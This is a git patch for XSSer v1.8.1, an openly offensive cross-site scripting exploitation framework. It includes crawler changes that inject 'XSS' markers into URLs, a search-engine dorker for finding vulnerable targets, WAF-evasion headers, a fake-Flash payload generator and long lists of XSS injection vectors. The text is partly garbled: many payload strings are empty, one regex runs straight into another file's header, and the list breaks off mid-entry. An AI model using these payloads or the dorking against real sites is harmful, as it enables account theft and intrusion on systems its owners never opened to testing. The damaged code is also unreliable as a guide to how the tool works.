From 808d1baebea2dac46818784bc9c9cd59cab55459 Mon Sep 17 00:00:00 2001 From: epsylon Date: Fri, 20 Sep 2019 17:30:53 +0200 Subject: [PATCH] XSSer v1.8.1 - 'The Hive' release --- xsser/Makefile => Makefile | 2 +- README.md | 74 +- {xsser/core => core}/__init__.py | 6 +- {xsser/core => core}/crawler.py | 95 +- {xsser/core => core}/curlcontrol.py | 45 +- {xsser/core => core}/dork.py | 66 +- {xsser/core => core}/encdec.py | 8 +- {xsser/core => core}/flashxss.py | 14 +- core/fuzzing/DCP.py | 59 + {xsser/core => core}/fuzzing/DOM.py | 15 +- {xsser/core => core}/fuzzing/HTTPsr.py | 61 +- {xsser/core => core}/fuzzing/__init__.py | 6 +- core/fuzzing/dorks.txt | 40 + {xsser/core => core}/fuzzing/heuristic.py | 51 +- {xsser/core => core}/fuzzing/user-agents.txt | 0 core/fuzzing/vectors.py | 2612 ++++++++++++ {xsser/core => core}/globalmap.py | 6 +- {xsser/core => core}/gtkcontroller.py | 34 +- {xsser/core => core}/imagexss.py | 17 +- core/main.py | 3522 +++++++++++++++++ {xsser/core => core}/mozchecker.py | 6 +- {xsser/core => core}/options.py | 111 +- {xsser/core => core}/post/__init__.py | 6 +- {xsser/core => core}/post/xml_exporter.py | 68 +- {xsser/core => core}/randomip.py | 6 +- {xsser/core => core}/reporter.py | 6 +- {xsser/core => core}/threadpool.py | 28 +- {xsser/core => core}/tokenhub.py | 6 +- {xsser/core => core}/twsupport.py | 6 +- {xsser/core => core}/update.py | 19 +- doc/AUTHOR | 41 + {xsser/doc => doc}/CHANGELOG | 37 +- {xsser/doc => doc}/COPYING | 0 {xsser/doc => doc}/INSTALL | 34 +- {xsser/doc => doc}/MANIFESTO | 4 +- doc/README | 350 ++ {xsser/doc => doc}/requirements.txt | 0 {xsser/gtk => gtk}/docs/about.txt | 36 +- gtk/docs/wizard0.txt | 16 + {xsser/gtk => gtk}/docs/wizard1.txt | 4 +- {xsser/gtk => gtk}/docs/wizard2.txt | 0 {xsser/gtk => gtk}/docs/wizard3.txt | 0 {xsser/gtk => gtk}/docs/wizard4.txt | 0 {xsser/gtk => gtk}/docs/wizard5.txt | 0 {xsser/gtk => gtk}/docs/wizard6.txt | 0 {xsser/gtk => gtk}/images/world.png | Bin {xsser/gtk => gtk}/images/xsser.jpg | Bin {xsser/gtk => gtk}/images/xssericon_16x16.png | Bin {xsser/gtk => gtk}/images/xssericon_24x24.png | Bin {xsser/gtk => gtk}/images/xssericon_32x32.png | Bin {xsser/gtk => gtk}/xsser.desktop | 2 +- {xsser/gtk => gtk}/xsser.ui | 70 +- xsser/setup.py => setup.py | 12 +- xsser/xsser => xsser | 6 +- xsser/core/fuzzing/DCP.py | 55 - xsser/core/fuzzing/dorks.txt | 30 - xsser/core/fuzzing/vectors.py | 1145 ------ xsser/core/main.py | 2700 ------------- xsser/doc/AUTHOR | 17 - xsser/doc/README | 171 - xsser/gtk/docs/wizard0.txt | 16 - 61 files changed, 7179 insertions(+), 4562 deletions(-) rename xsser/Makefile => Makefile (98%) rename {xsser/core => core}/__init__.py (84%) rename {xsser/core => core}/crawler.py (84%) rename {xsser/core => core}/curlcontrol.py (94%) rename {xsser/core => core}/dork.py (54%) rename {xsser/core => core}/encdec.py (96%) rename {xsser/core => core}/flashxss.py (80%) create mode 100644 core/fuzzing/DCP.py rename {xsser/core => core}/fuzzing/DOM.py (86%) rename {xsser/core => core}/fuzzing/HTTPsr.py (53%) rename {xsser/core => core}/fuzzing/__init__.py (84%) create mode 100644 core/fuzzing/dorks.txt rename {xsser/core => core}/fuzzing/heuristic.py (73%) rename {xsser/core => core}/fuzzing/user-agents.txt (100%) create mode 100644 core/fuzzing/vectors.py rename {xsser/core => core}/globalmap.py (99%) rename {xsser/core => core}/gtkcontroller.py (98%) mode change 100644 => 100755 rename {xsser/core => core}/imagexss.py (85%) create mode 100644 core/main.py rename {xsser/core => core}/mozchecker.py (97%) rename {xsser/core => core}/options.py (74%) rename {xsser/core => core}/post/__init__.py (84%) rename {xsser/core => core}/post/xml_exporter.py (61%) rename {xsser/core => core}/randomip.py (91%) rename {xsser/core => core}/reporter.py (92%) rename {xsser/core => core}/threadpool.py (96%) rename {xsser/core => core}/tokenhub.py (96%) rename {xsser/core => core}/twsupport.py (98%) rename {xsser/core => core}/update.py (74%) create mode 100644 doc/AUTHOR rename {xsser/doc => doc}/CHANGELOG (74%) rename {xsser/doc => doc}/COPYING (100%) rename {xsser/doc => doc}/INSTALL (67%) rename {xsser/doc => doc}/MANIFESTO (94%) create mode 100644 doc/README rename {xsser/doc => doc}/requirements.txt (100%) rename {xsser/gtk => gtk}/docs/about.txt (85%) create mode 100644 gtk/docs/wizard0.txt rename {xsser/gtk => gtk}/docs/wizard1.txt (62%) rename {xsser/gtk => gtk}/docs/wizard2.txt (100%) rename {xsser/gtk => gtk}/docs/wizard3.txt (100%) rename {xsser/gtk => gtk}/docs/wizard4.txt (100%) rename {xsser/gtk => gtk}/docs/wizard5.txt (100%) rename {xsser/gtk => gtk}/docs/wizard6.txt (100%) rename {xsser/gtk => gtk}/images/world.png (100%) rename {xsser/gtk => gtk}/images/xsser.jpg (100%) rename {xsser/gtk => gtk}/images/xssericon_16x16.png (100%) rename {xsser/gtk => gtk}/images/xssericon_24x24.png (100%) rename {xsser/gtk => gtk}/images/xssericon_32x32.png (100%) rename {xsser/gtk => gtk}/xsser.desktop (95%) rename {xsser/gtk => gtk}/xsser.ui (98%) mode change 100644 => 100755 rename xsser/setup.py => setup.py (92%) rename xsser/xsser => xsser (89%) delete mode 100644 xsser/core/fuzzing/DCP.py delete mode 100644 xsser/core/fuzzing/dorks.txt delete mode 100644 xsser/core/fuzzing/vectors.py delete mode 100644 xsser/core/main.py delete mode 100644 xsser/doc/AUTHOR delete mode 100644 xsser/doc/README delete mode 100644 xsser/gtk/docs/wizard0.txt diff --git a/xsser/Makefile b/Makefile similarity index 98% rename from xsser/Makefile rename to Makefile index a077094..eeb079f 100644 --- a/xsser/Makefile +++ b/Makefile @@ -4,7 +4,7 @@ PYTHON=`which python` DESTDIR=/ BUILDIR=$(CURDIR)/debian/xsser PROJECT=xsser -VERSION=0.7.0 +VERSION=1.8.1 all: @echo "make source - Create source package" diff --git a/README.md b/README.md index a7b3194..7654901 100644 --- a/README.md +++ b/README.md @@ -1,53 +1,77 @@ - ![XSSer](https://xsser.03c8.net/xsser/zika1.png "XSSerBanner") + ![XSSer](https://xsser.03c8.net/xsser/thehive1.png "XSSer") -=================================================================== +---------- - Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities. + + Web: https://xsser.03c8.net ---------- - XSSer is released under the GPLv3. You can find the full license text -in the [COPYING](./xsser/doc/COPYING) file. + Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications. ----------- + It provides several options to try to bypass certain filters and various special techniques for code injection. - + Web: https://xsser.03c8.net + XSSer has pre-installed [ > 1300 XSS ] attacking vectors and can bypass-exploit code on several browsers/WAFs: ----------- + [PHPIDS]: PHP-IDS + [Imperva]: Imperva Incapsula WAF + [WebKnight]: WebKnight WAF + [F5]: F5 Big IP WAF + [Barracuda]: Barracuda WAF + [ModSec]: Mod-Security + [QuickDF]: QuickDefense + [Chrome]: Google Chrome + [IE]: Internet Explorer + [FF]: Mozilla's Gecko rendering engine, used by Firefox/Iceweasel + [NS-IE]: Netscape in IE rendering engine mode + [NS-G]: Netscape in the Gecko rendering engine mode + [Opera]: Opera - ![XSSer](https://xsser.03c8.net/xsser/zika2.png "XSSerManifesto") + ![XSSer](https://xsser.03c8.net/xsser/url_generation.png "XSSer URL Generation Schema") + +---------- #### Installing: - XSSer runs on many platforms. It requires Python and the following libraries: + XSSer runs on many platforms. It requires Python and the following libraries: - - python-pycurl - Python bindings to libcurl - - python-xmlbuilder - create xml/(x)html files - Python 2.x - - python-beautifulsoup - error-tolerant HTML parser for Python - - python-geoip - Python bindings for the GeoIP IP-to-country resolver library + python-pycurl - Python bindings to libcurl + python-xmlbuilder - create xml/(x)html files - Python 2.x + python-beautifulsoup - error-tolerant HTML parser for Python + python-geoip - Python bindings for the GeoIP IP-to-country resolver library - On Debian-based systems (ex: Ubuntu), run: + On Debian-based systems (ex: Ubuntu), run: - sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip + sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip - On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run: + On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run: - pip install geoip + pip install geoip #### Source libs: - * Python: https://www.python.org/downloads/ - * PyCurl: http://pycurl.sourceforge.net/ - * PyBeautifulSoup: https://pypi.python.org/pypi/BeautifulSoup - * PyGeoIP: https://pypi.python.org/pypi/GeoIP + * Python: https://www.python.org/downloads/ + * PyCurl: http://pycurl.sourceforge.net/ + * PyBeautifulSoup: https://pypi.python.org/pypi/BeautifulSoup + * PyGeoIP: https://pypi.python.org/pypi/GeoIP + +---------- + +#### License: + + XSSer is released under the GPLv3. You can find the full license text +in the [LICENSE](./docs/LICENSE) file. ---------- #### Screenshots: - ![XSSer](https://xsser.03c8.net/xsser/url_generation.png "XSSerSchema") + ![XSSer](https://xsser.03c8.net/xsser/thehive2.png "XSSer Shell") + + ![XSSer](https://xsser.03c8.net/xsser/thehive3.png "XSSer Manifesto") + + ![XSSer](https://xsser.03c8.net/xsser/thehive4.png "XSSer Configuration") - ![XSSer](https://xsser.03c8.net/xsser/zika3.png "XSSerAdvanced") + ![XSSer](https://xsser.03c8.net/xsser/thehive5.png "XSSer Bypassers") - ![XSSer](https://xsser.03c8.net/xsser/zika4.png "XSSerGeoMap") + ![XSSer](https://xsser.03c8.net/xsser/zika4.png "XSSer GeoMap") diff --git a/xsser/core/__init__.py b/core/__init__.py similarity index 84% rename from xsser/core/__init__.py rename to core/__init__.py index 192a90c..22a1b8e 100644 --- a/xsser/core/__init__.py +++ b/core/__init__.py @@ -1,9 +1,7 @@ """ -$Id$ +This file is part of the XSSer project, https://xsser.03c8.net -This file is part of the xsser project, http://xsser.03c8.net - -Copyright (c) 2011/2016 psy +Copyright (c) 2010/2019 | psy xsser is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/xsser/core/crawler.py b/core/crawler.py similarity index 84% rename from xsser/core/crawler.py rename to core/crawler.py index 4646f96..8536599 100644 --- a/xsser/core/crawler.py +++ b/core/crawler.py @@ -2,11 +2,9 @@ # -*- coding: utf-8 -*-" # vim: set expandtab tabstop=4 shiftwidth=4: """ -$Id$ +This file is part of the XSSer project, https://xsser.03c8.net -This file is part of the xsser project, http://xsser.03c8.net - -Copyright (c) 2011/2016 psy +Copyright (c) 2010/2019 | psy xsser is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -40,14 +38,10 @@ class EmergencyLanding(Exception): class Crawler(object): """ Crawler class. - - Crawls a webpage looking for url arguments. - Dont call from several threads! You should create a new one - for every thread. """ def __init__(self, parent, curlwrapper=None, crawled=None, pool=None): # verbose: 0-no printing, 1-prints dots, 2-prints full output - self.verbose = 1 + self.verbose = 0 self._parent = parent self._to_crawl = [] self._parse_external = True @@ -81,7 +75,10 @@ def _find_args(self, url): find parameters in given url. """ parsed = urllib2.urlparse.urlparse(url) - qs = urlparse.parse_qs(parsed.query) + if "C=" in parsed.query and "O=" in parsed.query: + qs = "" + else: + qs = urlparse.parse_qs(parsed.query) if parsed.scheme: path = parsed.scheme + "://" + parsed.netloc + parsed.path else: @@ -92,6 +89,14 @@ def _find_args(self, url): if not zipped or not path in zipped[0]: self._found_args[key].append([path, url]) self.generate_result(arg_name, path, url) + if not qs: + parsed = urllib2.urlparse.urlparse(url) + if path.endswith("/"): + attack_url = path + "XSS" + else: + attack_url = path + "/XSS" + if not attack_url in self._parent.crawled_urls: + self._parent.crawled_urls.append(attack_url) ncurrent = sum(map(lambda s: len(s), self._found_args.values())) if ncurrent >= self._max: self._armed = False @@ -121,6 +126,7 @@ def crawl(self, path, depth=3, width=0, local_only=True): attack_urls = [] if not self._parent._landing and self._armed: self._crawl(basepath, path, depth, width) + # now parse all found items if self._ownpool: self.pool.dismissWorkers(len(self.pool.workers)) self.pool.joinAllDismissedWorkers() @@ -138,7 +144,7 @@ def generate_result(self, arg_name, path, url): for key, val in qs.iteritems(): qs_joint[key] = val[0] attack_qs = dict(qs_joint) - attack_qs[arg_name] = "VECTOR" + attack_qs[arg_name] = "XSS" attack_url = path + '?' + urllib.urlencode(attack_qs) if not attack_url in self._parent.crawled_urls: self._parent.crawled_urls.append(attack_url) @@ -178,37 +184,35 @@ def _curl_main(self, pars): self._get_done(basepath, depth, width, path, res, c_info) def _get_error(self, request, error): - try: - path, depth, width, basepath = request.args[0] - e_type, e_value, e_tb = error - if e_type == pycurl.error: - errno, message = e_value.args - if errno == 28: - print("requests pyerror -1") - self.enqueue_jobs() - self._requests.remove(path) - return # timeout - else: - self.report('crawler curl error: '+message+' ('+str(errno)+')') - elif e_type == EmergencyLanding: - pass + path, depth, width, basepath = request.args[0] + e_type, e_value, e_tb = error + if e_type == pycurl.error: + errno, message = e_value.args + if errno == 28: + print("requests pyerror -1") + self.enqueue_jobs() + self._requests.remove(path) + return # timeout else: - traceback.print_tb(e_tb) - self.report('crawler error: '+str(e_value)+' '+path) - if not e_type == EmergencyLanding: - for reporter in self._parent._reporters: - reporter.mosquito_crashed(path, str(e_value)) - self.enqueue_jobs() - self._requests.remove(path) - except: - return + self.report('crawler curl error: '+message+' ('+str(errno)+')') + elif e_type == EmergencyLanding: + pass + else: + traceback.print_tb(e_tb) + self.report('crawler error: '+str(e_value)+' '+path) + if not e_type == EmergencyLanding: + for reporter in self._parent._reporters: + reporter.mosquito_crashed(path, str(e_value)) + self.enqueue_jobs() + self._requests.remove(path) def _emergency_parse(self, html_data, start=0): links = set() pos = 0 - if not html_data: - return - data_len = len(html_data) + try: + data_len = len(html_data) + except: + data_len = html_data while pos < data_len: if len(links)+start > self._max: break @@ -236,7 +240,7 @@ def enqueue_jobs(self): next_job = self._to_crawl.pop() self._crawl(*next_job) - def _get_done(self, basepath, depth, width, path, html_data, content_type): # request, result): + def _get_done(self, basepath, depth, width, path, html_data, content_type): if not self._armed or len(self._parent.crawled_urls) >= self._max: raise EmergencyLanding try: @@ -244,27 +248,23 @@ def _get_done(self, basepath, depth, width, path, html_data, content_type): # re except: encoding = None try: - soup = BeautifulSoup(html_data, from_encoding=encoding) + soup = BeautifulSoup(html_data, fromEncoding=encoding) links = None except: soup = None links = self._emergency_parse(html_data) - for reporter in self._parent._reporters: reporter.start_crawl(path) - if not links and soup: - links = soup.find_all('a') - forms = soup.find_all('form') - + links = soup.findAll('a') + forms = soup.findAll('form') for form in forms: pars = {} if form.has_key("action"): action_path = urlparse.urljoin(path, form["action"]) else: action_path = path - for input_par in form.find_all('input'): - + for input_par in form.findAll('input'): if not input_par.has_key("name"): continue value = "foo" @@ -284,8 +284,6 @@ def _get_done(self, basepath, depth, width, path, html_data, content_type): # re elif self.verbose: sys.stdout.write(".") sys.stdout.flush() - if not links: - return if len(links) > self._max: links = links[:self._max] for a in links: @@ -323,7 +321,6 @@ def _check_url(self, basepath, path, href, depth, width): self._find_args(href) for reporter in self._parent._reporters: reporter.add_link(path, href) - self.report("\n[Info] Spidering: " + str(href)) if self._armed and depth>0: if len(self._to_crawl) < self._max: self._to_crawl.append([basepath, href, depth-1, width]) diff --git a/xsser/core/curlcontrol.py b/core/curlcontrol.py similarity index 94% rename from xsser/core/curlcontrol.py rename to core/curlcontrol.py index d8ed350..f414072 100644 --- a/xsser/core/curlcontrol.py +++ b/core/curlcontrol.py @@ -2,11 +2,9 @@ # -*- coding: utf-8 -*-" # vim: set expandtab tabstop=4 shiftwidth=4: """ -$Id$ +This file is part of the XSSer project, https://xsser.03c8.net -This file is part of the xsser project, http://xsser.03c8.net - -Copyright (c) 2011/2018 psy +Copyright (c) 2010/2019 | psy xsser is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -469,38 +467,37 @@ def print_options(cls): """ Print selected options. """ - print "\n[-]Verbose: active" - print "[-]Cookie:", cls.cookie - print "[-]HTTP User Agent:", cls.agent - print "[-]HTTP Referer:", cls.referer - print "[-]Extra HTTP Headers:", cls.headers + print "\nCookie:", cls.cookie + print "User Agent:", cls.agent + print "Referer:", cls.referer + print "Extra Headers:", cls.headers if cls.xforw == True: - print "[-]X-Forwarded-For:", "Random IP" + print "X-Forwarded-For:", "Random IP" else: - print "[-]X-Forwarded-For:", cls.xforw + print "X-Forwarded-For:", cls.xforw if cls.xclient == True: - print "[-]X-Client-IP:", "Random IP" + print "X-Client-IP:", "Random IP" else: - print "[-]X-Client-IP:", cls.xclient - print "[-]Authentication Type:", cls.atype - print "[-]Authentication Credentials:", cls.acred + print "X-Client-IP:", cls.xclient + print "Authentication Type:", cls.atype + print "Authentication Credentials:", cls.acred if cls.ignoreproxy == True: - print "[-]Proxy:", "Ignoring system default HTTP proxy" + print "Proxy:", "Ignoring system default HTTP proxy" else: - print "[-]Proxy:", cls.proxy - print "[-]Timeout:", cls.timeout + print "Proxy:", cls.proxy + print "Timeout:", cls.timeout if cls.tcp_nodelay == True: - print "[-]Delaying:", "TCP_NODELAY activate" + print "Delaying:", "TCP_NODELAY activate" else: - print "[-]Delaying:", cls.delay, "seconds" + print "Delaying:", cls.delay, "seconds" if cls.followred == True: - print "[-]Follow 302 code:", "active" + print "Follow 302 code:", "active" if cls.fli: - print"[-]Limit to follow:", cls.fli + print"Limit to follow:", cls.fli else: - print "[-]Delaying:", cls.delay, "seconds" + print "Delaying:", cls.delay, "seconds" - print "[-]Retries:", cls.retries, "\n" + print "Retries:", cls.retries, "\n" def answered(self, check): """ diff --git a/xsser/core/dork.py b/core/dork.py similarity index 54% rename from xsser/core/dork.py rename to core/dork.py index 0dc5ca8..9acb55f 100644 --- a/xsser/core/dork.py +++ b/core/dork.py @@ -2,9 +2,9 @@ # -*- coding: utf-8 -*-" # vim: set expandtab tabstop=4 shiftwidth=4: """ -This file is part of the xsser project, https://xsser.03c8.net +This file is part of the XSSer project, https://xsser.03c8.net -Copyright (c) 2011/2016/2018 psy +Copyright (c) 2010/2019 | psy xsser is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -22,18 +22,22 @@ List of search engines: http://en.wikipedia.org/wiki/List_of_search_engines +Currently supported: duck(default), startpage, yahoo, bing + """ -import urllib2, traceback, re, random +import urllib2, traceback, re, random, urllib urllib2.socket.setdefaulttimeout(5.0) DEBUG = 0 class Dorker(object): - def __init__(self, engine='yahoo'): + def __init__(self, engine='duck'): self._engine = engine self.search_engines = [] # available dorking search engines - self.search_engines.append('bing') + self.search_engines.append('duck') + self.search_engines.append('startpage') self.search_engines.append('yahoo') + self.search_engines.append('bing') self.agents = [] # user-agents try: f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents @@ -46,35 +50,57 @@ def dork(self, search): """ Perform a search and return links. """ - if self._engine == 'bing': # works at 20-02-2011 -> 19-02-2016 -> 09-04-2018 - search_url = 'https://www.bing.com/search?q="' + search + '"' - elif self._engine == 'yahoo': # works at 20-02-2011 -> 19-02-2016 -> -> 09-04-2018 - search_url = 'https://search.yahoo.com/search?q="' + search + '"' + if self._engine == 'bing': # works at 20-02-2011 -> 19-02-2016 -> 09-04-2018 -> 26-08-2019 + search_url = 'https://www.bing.com/search?q="' + str(search) + '"' + print "\nSearching query:", urllib2.unquote(search_url) + elif self._engine == 'yahoo': # works at 20-02-2011 -> 19-02-2016 -> -> 09-04-2018 -> 26-08-2019 + search_url = 'https://search.yahoo.com/search?q="' + str(search) + '"' + print "\nSearching query:", urllib2.unquote(search_url) + elif self._engine == 'duck': # works at 26-08-2019 + search_url = 'https://duckduckgo.com/html/' + q = 'instreamset:(url):"' + str(search) + '"' # set query to search literally on results + query_string = { 'q':q } + print "\nSearching query:", urllib2.unquote(search_url) + " [POST: (" + q + ")]" + elif self._engine == 'startpage': # works at 26-08-2019 + search_url = 'https://www.startpage.com/do/asearch' + q = 'url:"' + str(search) + '"' # set query to search literally on results + query_string = { 'cmd':'process_search', 'query':q } + print "\nSearching query:", urllib2.unquote(search_url) + " [POST: (" + q + ")]" else: - print "\n[Error] This search engine is not supported!\n" - print "[Info] List of available:" - print '-'*25 + print "\n[Error] This search engine is not being supported!\n" + print '-'*25 + print "\n[Info] Use one from this list:\n" for e in self.search_engines: print "+ "+e - print "" + print "\n ex: xsser -d 'profile.asp?num=' --De 'duck'" + print " ex: xsser -l --De 'startpage'" + print "\n[Info] Or try them all:\n\n ex: xsser -d 'news.php?id=' --Da\n" try: self.search_url = search_url - print "\n[Info] Search query:", urllib2.unquote(search_url) user_agent = random.choice(self.agents).strip() # set random user-agent referer = '127.0.0.1' # set referer to localhost / WAF black magic! headers = {'User-Agent' : user_agent, 'Referer' : referer} - req = urllib2.Request(search_url, None, headers) + if self._engine == 'bing' or self._engine == 'yahoo': # using GET + req = urllib2.Request(search_url, None, headers) + elif self._engine == 'duck' or self._engine == 'startpage': # using POST + data = urllib.urlencode(query_string) + req = urllib2.Request(search_url, data, headers) html_data = urllib2.urlopen(req).read() print "\n[Info] Retrieving requested info..." except urllib2.URLError, e: if DEBUG: traceback.print_exc() print "\n[Error] Cannot connect!" + print "\n" + "-"*50 return if self._engine == 'bing': - regex = '

+Copyright (c) 2010/2019 | psy xsser is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -102,7 +100,7 @@ def _ipDwordEncode(self, string): def _ipOctalEncode(self, string): """ Encode to octal. - """ + """ encoded='' tblIP = string.split('.') # In the case it's not an IP diff --git a/xsser/core/flashxss.py b/core/flashxss.py similarity index 80% rename from xsser/core/flashxss.py rename to core/flashxss.py index 01eadf5..6bb384a 100644 --- a/xsser/core/flashxss.py +++ b/core/flashxss.py @@ -2,11 +2,9 @@ # -*- coding: utf-8 -*-" # vim: set expandtab tabstop=4 shiftwidth=4: """ -$Id$ +This file is part of the XSSer project, https://xsser.03c8.net -This file is part of the xsser project, http://xsser.03c8.net - -Copyright (c) 2011/2016 psy +Copyright (c) 2010/2019 | psy xsser is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -30,8 +28,8 @@ def __init__(self, payload =''): def flash_xss(self, filename, payload): """ - Create -fake- flash movie (.swf) with code XSS injected. - """ + Create -fake- flash movie (.swf) with XSS codeinjected. + """ root, ext = os.path.splitext(filename) if ext.lower() in [".swf"]: f = open(filename, 'wb') @@ -42,9 +40,9 @@ def flash_xss(self, filename, payload): content = user_payload f.write(content) f.close() - flash_results = "\nCode: "+ content + "\nFile: ", root + ext + flash_results = "\n[Info] XSS Vector: \n\n "+ content + "\n\n[Info] File: \n\n ", root + ext + "\n" else: - flash_results = "\nPlease select a filename with extension .swf" + flash_results = "\n[Error] Supported extensions = .swf\n" return flash_results if __name__ == '__main__': diff --git a/core/fuzzing/DCP.py b/core/fuzzing/DCP.py new file mode 100644 index 0000000..dd44f04 --- /dev/null +++ b/core/fuzzing/DCP.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*-" +# vim: set expandtab tabstop=4 shiftwidth=4: +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2019 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +## This file contains different XSS fuzzing vectors. +## If you have some new, please email me to [epsylon@riseup.net] +## Happy Cross Hacking! ;) + +DCPvectors = [ + { 'payload' : """[B64]""", + 'browser' : """[Data Control Protocol Injection]"""}, + { 'payload' : """""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':""" onload=PAYLOAD>""", + 'browser':"""Not Info"""}, + { 'payload':""" onload=PAYLOAD>""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""
""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""
""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""
""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[NS4]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[O9.02]"""}, + { 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""PAYLOAD'); ?>""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""--- """, + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':'''--- a=/PAYLOAD/alert(a.source)""", + 'browser':"""[Not Info]"""}, + { 'payload':'''--- \";PAYLOAD;//''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[HTML5 Injection]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] 